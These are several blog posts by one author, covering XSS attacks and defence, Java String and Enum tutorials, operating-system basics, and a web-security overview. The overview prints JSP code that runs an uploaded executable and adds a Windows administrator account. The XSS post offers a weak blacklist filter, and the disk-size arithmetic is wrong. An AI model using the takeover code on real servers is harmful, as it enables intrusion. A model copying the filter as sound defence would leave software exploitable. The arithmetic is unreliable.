Posted in Working Skills, 技术

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.

文章Points:
1. 认识XSS

  2. XSS攻击

  3. XSS防御(重点)

 

一、认识XSS先

  先说个故事吧,在上一篇,我还想说这个案例。其实什么叫攻击,很简单。获取攻击者想要的信息,就黑成功了。抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行。OK,搞定了。所以,没有绝对的安全。

  今天,泥瓦匠带你们认识下XSS,然后关于怎么防御的问题。至于防御的话,仁者见仁智者见智。尔等啥都不配不上的就绰见,望各位阅读者相互讨论。泥瓦匠目前是搞JAVA的,所以例子上JAVA比较多。

  Q: 什么是XSS? 为啥有这个呢?

  A: 全名:Cross Site Script,中文名:跨站脚本攻击。顾名思义,是指“HTML注入”纂改了网页,插入恶意的脚本,从而在用户用浏览网页的时候,控制用户浏览器的一种攻击。

  XSS根据攻击的稳定性可分为三种:反射型XSS, 存储型XSS,DOM Based XSS.

  image

二、XSS攻击

  再来了解下XSS,是如何攻击?泥瓦匠这时候想到一句话:知己知彼,百战百胜吧。这攻击我们不会很详细解释,毕竟想说的是XSS防御嘛。首先,泥瓦匠要介绍下的是:

  XSS Playload,所谓用以完成各种具体的功能的恶意脚本。这时候我想到了黑客精神中的小插曲,现在所谓的“黑客”不是真正的黑客,而是称为脚本小子(Script Kid)。常见的一个XSS Playload,就是通过读取浏览器的Cookie对象,从而发起了‘Cookie劫持’攻击。这个泥瓦匠会教你们去防御哈,其中Cookie的‘HttpOnly’标识可以防止哦。

  强大的XSS Playload可以做以下的事情哈:1、构造 GET 与 POST 请求 2、各种钓鱼 3、识别用户浏览器 等等
Q&A

  Q:什么叫做钓鱼呢?
A:顾名思义,愿者上钩,这里做贬义用法。比如,人家用一个假的弹出框,或者假的页面让你输入QQ信息,或者啥账号信息。其实你一输入人家服务器获取到你的账户密码了。这就是鱼儿上钩了。 如图比喻:
image

 

三、XSS防御(重点)

  兵来将挡,水来土掩。泥瓦匠在Web安全上,想提醒大家的是:“再高的树,猴子也能爬上去。”因此,我们考虑的地方有些默认都给你做好了,有些需要我们自己去关心,去设置。

  其实在看不到的地方很多已经对抗XSS做了些措施。比如各种浏览器等。

  一、按着上面的思路,泥瓦匠先聊下Cookie,一个Cookie,我们是这样使用的:
1、浏览器下服务器发送请求,准备获取Cookie

    2、服务器返回发送Cookie头,向客户端浏览器写入Cookie。(注意哦,这里是浏览器,不要当成什么浏览器内核)

    3、在Cookie到期前,浏览器所有页面,都会发送Cookie。

  这就意味着,我们Cookie不能乱用。就像Session一样,所以在使用的时候,要注意下。有时候Cooike在用于记住密码的时候,千万要注意要将Cookie设置HttpOnly属性为Ture。这里我以SpringMVC为例子。如果用到Cookie的时候,应该这样:

                     // create cookie and set it in response
			Cookie cookie1 = new Cookie("cookie1", "cookieValueHttpOnly");
			Cookie cookie2 = new Cookie("cookie2", "cookieValue");
			cookie1.setHttpOnly(true);
			
			response.addCookie(cookie1);
			response.addCookie(cookie2);

截个Controller整个代码看看:
image

我们打开浏览器可以看到下面这种结果,访问URL这个Controller层,打开Firebug查看:
image

  二、输入校验

  输入校验的逻辑必须放在服务端中实现。如果用JS进行的话,容易被攻击者绕过去。所以普遍的做法是,类似很多代码一样进行Double Check:”客户端JS校验和服务端校验一起,这样客户端JS校验会阻挡大部分甚至说99%的用户的误操作。”

  在XSS防御上,我们需要对用户输入的一些特殊字符校验,过滤或者是编码。这种输入校验的方式成为“XSS Filter”。首先我们在配置文件中,

image其中的路径配置当然,在你需要的地方配置下咯。然后泥瓦匠在这里写了个,Http请求装饰类,用来对这些参数的过滤。说干就干呗~实战出经验。

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
{

	public XssHttpServletRequestWrapper(HttpServletRequest request)
	{
		super(request);
	}

	public String[] getParameterValues(String parameter)
	{
		String[] values = super.getParameterValues(parameter);
		if (values==null)
		{
			return null;
        }
	    int count = values.length;
	    String[] encodedValues = new String[count];
	    for (int i = 0; i < count; i++)
	    {
	        encodedValues[i] = cleanXSS(values[i]);
	    }
	    return encodedValues;
    }

    public String getParameter(String parameter)
    {
    	String value = super.getParameter(parameter);
        if (value == null)
        {
            return null;
        }
        return cleanXSS(value);
    }

    public String getHeader(String name)
    {
        String value = super.getHeader(name);
        if (value == null)
            return null;
        return cleanXSS(value);
    }

    /**
      * @Title: cleanXSS
      * @Description: You'll need to remove the spaces from the html entities below
      * @param @param value
      * @param @return
      * @return String
      */
    private String cleanXSS(String value)
    {
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("'", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }
}

  三、输出校验

  一般来说,除了富文本之外,在变量输出到HTML页面,可以使用编码或者转义的方式来防御XSS攻击。这是一种各家委婉的方式吧。

四、总结

  用兵之道在于,如何正确的使用,才能以少胜多。Web安全这场战争也一样,所以要如何正确的使用XSS防御。

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.

Posted in 技术

[Be a Coding Plasterer] Components 1:get Basic Things

Writer:BYSocket(泥沙砖瓦浆木匠)

    微博:BYSocket

    豆瓣:BYSocket

Reprint it anywhere u want.

 

Written In The Font

  I am writing at home.Today it is windy,but I am feeling isuitable and warm.Why the title is called ‘Be a Coding Plasterer’? I think that a good computer programmer should know something about Hardware and how the code runs with CPU and RAM.so when I am learning ,I wanna say somthing about them after thinking.

pieces:

1. Hello World

2. Software Framework

3. OS(Operating System)


 

Hello World

  Hello World,its the start of computer coding.every programmer likes it.so how ‘Hello World’ runs in computer and why its designed so.I wrote an article before,go to C++的Hello,World! .Here what I think,

1. A simple code is not simple.Like a tree,start from the root,its a little complex in the body.‘Dont let yourself stop learning’

2. Learning the basic things is so nice.‘Just a boy find ways to go home when being lost.

  After learning,some Questions in my head.

Q: IO chips,PCI,ISA.. What are they?

Q: Runtime Library,Operating System Kernel .. What are they? How they work together?

..

image

 

Software Framework

  In daily life when we wanna cross the river,what we want is just a bridge. How the same meaning use in the computer.Long age,there are many problems in computer development.But after solving them, a saying is

  ‘Any problem in computer science can be solved by another layer of indirection.’

  A software need to call the system.And its very complex but interesting.There are many layers of indirections between them.I will give a picture about computer software architecture

KPU[2RR_7[4@CB)V3H1XLYY

 

OS(Operating System)

  1. CPU

    CPU nerver stops.

    Multiprograming:

      It is monitoring the cpu.when its useless,let it handle other things.

    Time-Sharing System:

      After a process running for some time , it lets the CPU handle others for some time.each has the opportunity to run for a period of time.

    Mutil-tasking System:

      All softwares run with processes. Every process has its priority.Each has the independent space.Each gets the CPU by its priority.When its overtime,it pauses.Its called ‘Preemptive’.CPU switches bewteen processes.

  2. Device Driver

    Device Driver is a part of OS,running with the OS Kernel.

    Hard Disk:

      Basic storage unit is Sector. Every sector has 512 Bytes. For example, one hard disk has 2 discs,every disc has 65536 tracks,every track has 1024 sectors.So

2 * 2 * 65536 * 1024 * 512 KB = 128 GB

    about CPU

      CPU has some commands for I/O and others.Like,provides ‘in’‘out’to read or write in hardware.

  3. Memory

    Memory,Like what in our head.We store everything in head.So the computer does.

    Q: How the computer provides the limited physical memory to some programs? and we can see many problems: 1.no isolation of address room.  2.week efficiency of memoryusing  3.program running adress is not sure.

    A:

       1.Using the Virtual Address to make the isolation of address. Like the saying:‘Any problem in computer science can be solved by another layer of indirection.’,we solve it .Every process has own Virtual Address and it means the process has a own Physical Address.

       2.Segmentaion

image

       3.Paging

       Processes’s virtual addresses have the mappings with the hard disk.

image

           

Think in Basic Things of Computer

  Just like our life . From Life ,Create Form Life , Service Life.Yes,Its the computer.Thanks!!

Writer:BYSocket(泥沙砖瓦浆木匠)

    微博:BYSocket

    豆瓣:BYSocket

Reprint it anywhere u want.

 

Posted in Java, 技术

[Java Plasterer] Java Components 4:Java String,How to use them?

Writer:BYSocket(泥沙砖瓦浆木匠)

    微博:BYSocket

    豆瓣:BYSocket

Reprint it anywhere u want.

Although the world is full of suffering , it is full also of the overcoming of it.  -Hellen Keller

 

Written In The Font

52. Suggestion:Use the String direct value for the assignment [推荐使用String直接量赋值]

54.  How to use the String , StringBuffer,StringBuilder [正确的使用String , StringBuffer,StringBuilder ]

55. Easy Time:Pay attention to the address of String [注意字符串的位子]

57. Complex string manipulation using regular expressions [复杂字符串操作使用正则表达式]

 

Suggestion:Use the String direct value for the assignment

Do u knw the String Object ? If u do some projects,u can see the String is used usually. A object is created by the key word : new.Therefore , we can create a String Obejct by :“ String str3 = new String(“Jeff”); ”.

Here, in my word,using the String direct value for the assignment is a better way.

for example:

public class String01 
{
    public static void main(String[] args) 
    {
        String str1 = "Jeff";
        String str2 = "Jeff";
        String str3 = new String("Jeff");
        String str4 = str3.intern();
        
        boolean b1 = (str1 == str2);
        boolean b2 = (str1 == str3);
        boolean b3 = (str1 == str4);
        
        System.out.println("b1:"+b1+"  "+"b2:"+b2+"  "+"b3:"+b3+"  ");
    }
}
#outputs:
b1:true  b2:false  b3:true

b1:true b2:false
  u will think ,thats why they r different.
  As we all kno , the  operator“==”show whether two objects’address references are the same. Java designed a String Pool for storing all the String used to avoid there are to many String Objects created in a system. So  String str3 = new String(“Jeff”);  is creating a object in java heap memory not the String Pool.

intern() is a method of String. we can see from the jdk help doc.

public String intern()
Returns a canonical representation for the string object.
A pool of strings, initially empty, is maintained privately by the class String.

When the intern method is invoked, if the pool already contains a string equal to this String object as determined by the equals(Object) method, then the string from the pool is returned. Otherwise, this String object is added to the pool and a reference to this String object is returned.

  It follows that for any two strings s and t, s.intern() == t.intern() is true if and only if s.equals(t) is true.

  All in all, using  String str = “Jeff”;  u dont mind the Thread-security or Garbage collection mechanism.String is a nice man , treat it as a little boy pelasse.

image

 

How to use the String , StringBuffer,StringBuilder

Look at the pic:
image

String , StringBuffer ,StringBuilder implement the CharSequence.But they are different.

String
  String Object is a non-variable . it can not be changed and in the memory when u create it.

for example:

String str  = "abc";
    String str1 = str.substring(1);
        
    System.out.println("str1" + str1);
#outputs:
bc

  substring() method creates a new String Object and links the reference of it to str1. But when “str.substring(0)”,str1 and str  both link to the “abc”by the JVM.

StringBuffer StringBuilder

  they are very similar and they r variables of the sequence of characters.Only different, the StringBuffer has the methods which are synchronized where necessary. String buffers are safe for use by multiple threads. Different from String, if z refers to a string buffer object whose current contents are “start“, then the method call z.append("le") would cause the string buffer to contain “startle“, whereasz.insert(4, "le") would alter the string buffer to contain “starlet“.

All in all:

String can be used for the constants.

image

StringBuffer can be used for some operating methods in multithreaded environment.like XML analyze,the parameters of HTTP analyze etc.

StringBuilder can be used for HQL/SQL splice, JSON package etc.

image

 

Easy Time:Pay attention to the address of String

for example:

public static void main(String[] args)
{
    String str1 = 1 + 2 + "apples";
    String str2 = "apples" + 1 + 2;
    
    System.out.println(str1);
    System.out.println(str2);
}
#outputs:
3apples
apples12

what we can see from the result-values.why ? how ? they did.

Because the JAVA handling mechanism to the operator “+”. when there is a string in the expression, all the expression data will change itself to the String class.if the data is an Object, it will call its toString method.

So,String str1 = 1 + 2 + “apples” just like String str1 = (1 + 2) + “apples” .thats all.

 

Complex string manipulation using regular expressions

just reading!! the part , i will write in the future.

image

 

Write to Reader

Thank u!

Writer:BYSocket(泥沙砖瓦浆木匠)

    微博:BYSocket

    豆瓣:BYSocket

Reprint it anywhere u want.

Posted in Java, 技术

[Java Plasterer] Java Components 3:Java Enum

Writer:BYSocket(泥沙砖瓦浆木匠)

    微博:BYSocket

    豆瓣:BYSocket

Reprint it anywhere u want.

Written In The Font

  When we to set some constants for projects, we always use ‘public static final’to set Int or String constants.Or sometimes,we can also set the paramters in properties.When the project starts,we can get the properties to use them.Today,we can use Enum (JDK 1.5).

Three pieces:
  1. An Example to Know Enum

  2. How to use EnumSet and EnumMap

  3. Enum Analysis

An Example to Know Enum

  Firstly,we use the Enum to implements Operation.

package org.nsg.jdk.testEnum;

/**
 * @Description  OperationTest.java
 *
 * @author BYSocket
 * @date 2015-1-8 6:05:59PM
 * @version 1.0
 */
public class OperationTest
{
	public static void main(String[] args)
	{
		double x = 2.0,y=4.0;
		for (Operation op : Operation.values())
			System.out.printf("%f %s %f = %f%n", x,op,y,op.apply(x, y));
	}
}

enum Operation
{
	PLUS("+")
	{
		double apply(double x,double y){return x + y;}
	},
	MINUS("-")
	{
		double apply(double x,double y){return x - y;}
	},
	TIMES("*")
	{
		double apply(double x,double y){return x * y;}
	},
	DIVIDE("/")
	{
		double apply(double x,double y){return x / y;}
	};
	
	private final String symbol;
	Operation(String symbol){this.symbol = symbol;}
	
	@Override 
	public String toString(){return symbol;}
	
	abstract double apply(double x,double y);
}

  Run as Java application,we can see the Console.The result shows operations

2.000000 + 4.000000 = 6.000000
2.000000 - 4.000000 = -2.000000
2.000000 * 4.000000 = 8.000000
2.000000 / 4.000000 = 0.500000

Q:‘The enum is just like class?’ 

A:Yep,I think that Enum is a nice type.So let us know some methods by apis:

1. Firstly,we can make an abstract method ‘apply()’ ,then set in the constant-specific class body. Its called constant-specific method implementation.

2. We can make constructor with fields to make the enum has vales.(Like String or int …)

3. toString() method : Returns the name of this enum constant, as contained in the declaration. This method may be overridden, though it typically isn’t necessary or desirable. An enum type should override this method when a more programmer-friendly string form exists.

4. ‘vales()’ method :to get all enum objects. And ‘getValue()’ can get the enum object’ value.

 

Note ‘Its easy to learn how to use.Then learn more and study in depth.’ And in real projects,We can use enums to replace Int or String Enum Pattern.And Enum is also a typesafe enum.

How to use EnumSet and EnumMap

  Let us see another example to learn some Sets of Enum.So lets see it:

package org.nsg.jdk.testEnum;

import java.util.EnumMap;
import java.util.EnumSet;
import java.util.Iterator;
import java.util.Map.Entry;

/**
 * @Description  WeekTest.java
 *
 * @author BYSocket
 * @date 2015-1-9 2:55:10PM
 * @version 1.0
 */
public class WeekTest
{
	public static void main(String[] args)
	{
		EnumSet<Week> weekSet = EnumSet.allOf(Week.class);
		System.out.println("EnumSet:");
		for (Week w : weekSet)
			System.out.println(w);
		
		EnumMap<Week, String> weekMap = new EnumMap<Week, String>(Week.class);
		weekMap.put(Week.MON, "星期一");
		weekMap.put(Week.TUE, "星期二");
		weekMap.put(Week.WED, "星期三");
		
		System.out.println("EnumMap:");
		for (Iterator<Entry<Week, String>> iterator = weekMap.entrySet().iterator(); iterator.hasNext();)
		{
			Entry<Week, String> weekEntry = iterator.next();
			System.out.println(weekEntry.getKey().name()+":"+weekEntry.getValue());
		}
	}
}

enum Week
{
	MON("1"), TUE("2"), WED("3"), THU("4"), FRI("5"), SAT("6"),SUN("7");

	private final String symbol;
	Week(String symbol){this.symbol = symbol;}
	
	@Override 
	public String toString(){return symbol;}
}

We can see in Console:

EnumSet:
1
2
3
4
5
6
7
EnumMap:
MON:星期一
TUE:星期二
WED:星期三

Note: EnumSet or EnumMap is easy for we to use.And with them,we can use enums easily.

Enum Analysis

We use ‘javap -c -private xxx’to know the class:

final class org.nsg.jdk.testEnum.Week extends java.lang.Enum<org.nsg.jdk.testEnu
m.Week> {
  public static final org.nsg.jdk.testEnum.Week MON;

  public static final org.nsg.jdk.testEnum.Week TUE;

  public static final org.nsg.jdk.testEnum.Week WED;

  public static final org.nsg.jdk.testEnum.Week THU;

  public static final org.nsg.jdk.testEnum.Week FRI;

  public static final org.nsg.jdk.testEnum.Week SAT;

  public static final org.nsg.jdk.testEnum.Week SUN;

  private final java.lang.String symbol;

  private static final org.nsg.jdk.testEnum.Week[] $VALUES;

  public static org.nsg.jdk.testEnum.Week[] values();

We can see ‘Enum is a class.just is a class.’but no extends.

 

 

Writer:BYSocket(泥沙砖瓦浆木匠)

    微博:BYSocket

    豆瓣:BYSocket

Reprint it anywhere u want.

Posted in Java, 技术

Talk In Web Security(安全世界观): Devleping a Secure WebSite

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.

Why to write about Web Security?

A java file can hack your server.One JSP can download any file. How to do this?
1. Write a JSP and upload to the server.
2. Use JSP to download any bug by HttpClient.
3. Open the virus and get/add the infomation of admin or datas
We can see some from what I write.Its easy but useful:

 if(!IsWindows())
				{
					Process process = Runtime.getRuntime().exec("chmod 777 "+strExeFile);
					
					if (process.waitFor() != 0)
						out.println("FAIL ---> when open file");
				}
				
				Process process = Runtime.getRuntime().exec(strExeFile);
				if (process.waitFor() == 0)
					out.println("SUCCESS ---> When open the file");

Use Java to open the bug.And then get an administrator user.

	if(IsWindows())
	{
		String execStr = "cmd.exe /C " + "net user " + strAcc + " " + strPwd + " /add";
		Process process = Runtime.getRuntime().exec(execStr);	
		
		if (process.waitFor() == 0)
		{
			Runtime.getRuntime().exec("cmd.exe /C " + "net localgroup administrators " + strAcc + " /add");
		}
		else
			out.print("FAIL ---> when " + execStr);
	}

Its about how to use java to get add an administrator user.

Here are some injections that we can see anywhere.So we need Learn the Web Security. First we can learn from the Web history.

 

Some of Web Security needed to know

Since the environment getting worse,like Haze.So many persons wear Masks when going out.Just like the way to protect ourselves ,we trust the Masks. Its the same as web security.

  Note:’Web Security is based on the trust,every way to design on Web Security is also based on the trusts.’

Many web attacks like Haze:
1. XSS

  2. CRLF Injection

  3. X-PATH Injection

  4. HTML Injection

  5. JavaScript Injection

 

XSS Development
image

 

So there is a question:’How to analysis the web security of software or project?’

 

 

STRIDE (security) DREAD by Microsoft

STRIDE

STRIDE is a system developed by Microsoft for thinking about computer security threats.The threat categories are:
1. Spoofing of user identity

2. Tampering

3. Repudiation

4. Infomation disclosure

5. Denial of Service

6. Elevation of privilege

 

DREAD

The problem with a simplistic rating system is that team members usually will not agree on ratings. To help solve this, add new dimensions that help determine what the impact of a security threat really means. At Microsoft, the DREAD model is used to help calculate risk. By using the DREAD model, you arrive at the risk rating for a given threat by asking the following questions:

  1. Damage potential: How great is the damage if the vulnerability is exploited?

  2. Reproducibility: How easy is it to reproduce the attack?

  3. Exploitability: How easy is it to launch an attack?

  4. Affected users: As a rough percentage, how many users are affected?

  5. Discoverability: How easy is it to find the vulnerability?

 

So after these categories,a good way to design on Web Security has some features:

1. Solve problem in effect

2. Good experience for users

3. Low coupling

4. Easy to extend and upgrade

How to Devlep a Secure WebSite

  Note: ‘ Security is a normal subject and a poised art.’

1. Secure By Default

Its also the security of users.We can create The White List and The Black List and limits of user operation.

2. Defense in Depth

Defense in Depth is a crucial model for implementing effective information security. The details of such a diverse model are what make it successful, I have put together a series of eight webcasts on this topic. Here are 7 levels:

IC259073

3. Quarantine between Data and Demo

4. Uncertainly of unpredictability

The paramters may be easy to guess.So let them be hard to guess.

 

Think in Web Security

Like a bucket of water, we trust the bucket and water.Its the Security.When the bucket has the chemistry-poison,the security will be broken.
Note:‘Open Free Share’

G night~

 

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.